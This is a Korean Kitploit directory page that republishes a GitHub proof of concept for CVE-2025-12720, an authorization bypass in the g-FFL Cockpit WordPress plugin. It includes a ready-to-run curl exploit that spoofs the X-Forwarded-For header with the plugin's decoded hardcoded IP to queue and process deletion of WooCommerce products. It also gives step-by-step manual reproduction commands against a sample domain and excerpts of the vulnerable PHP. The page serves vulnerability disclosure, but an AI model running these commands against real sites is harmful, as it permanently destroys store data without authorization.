Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - 부적절한 권한 부여로 인한 비인증 제품 삭제 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-12720
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingAuthenticationMisconfiguration
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - 부적절한 권한 부여로 인한 비인증 제품 삭제

저장소 보기
610개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

g-FFL Cockpit <= 1.7.1 - 인증되지 않은 임의 상품 삭제

g-FFL Cockpit 플러그인은 queue 및 process REST API 엔드포인트에 적절한 권한 검사를 구현하지 않습니다. 이로 인해 인증되지 않은 사용자가 HTTP 헤더를 스푸핑하여 IP 기반 인증을 우회하고 임의의 WooCommerce 상품을 삭제할 수 있습니다.

TL;DR 익스플로잇

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

세부 정보

REST API 엔드포인트인 queue와 는 IP 기반 인증을 사용하지만, 또는 HTTP 헤더를 스푸핑하여 우회할 수 있습니다. 인증 메커니즘은 사용자가 조작할 수 있는 헤더를 신뢰하는 에 의존하며, 플러그인 소스 코드에 저장된 하드코딩된 IP 주소와 대조합니다.

process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

class-sync-endpoint.php에 위치:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

fflcockpit_is_allowed() 함수는 플러그인 소스 코드에 노출된 하드코딩된 IP 주소(base64: My4yMTIuMTg1LjE4Nw==, 디코딩: 3.212.185.187)를 사용합니다.

class-sync-endpoint.php의 취약한 코드 조각:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

process_product() 함수는 삭제 작업을 sql_delete_product()로 라우팅하며, 해당 함수는 WooCommerce 상품을 직접 SQL로 삭제합니다.

class-update-processor.php의 취약한 삭제 구현:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

수동 재현

참고: g-FFL Cockpit은 WooCommerce가 필요합니다.

  1. g-FFL Cockpit 플러그인이 설치된 대상 WordPress 사이트로 이동합니다.

  2. 플러그인 소스 코드에서 하드코딩된 IP 주소를 추출합니다. 해당 IP는 class-sync-endpoint.php에 My4yMTIuMTg1LjE4Nw==로 base64 인코딩되어 있으며, 디코딩하면 3.212.185.187입니다.

  3. 상품 삭제를 큐에 등록하고 처리하려면 다음 curl 명령을 실행합니다:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. 큐에 등록된 삭제를 처리하여 실제로 상품을 제거합니다:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. 삭제가 완료되었다는 확인 응답을 받게 됩니다:
root@kitploit:~
{
  "status": "completed"
}

상품은 관련된 모든 메타데이터, 분류 관계 및 이미지를 포함하여 WooCommerce 데이터베이스에서 영구적으로 삭제됩니다.

도구 다운로드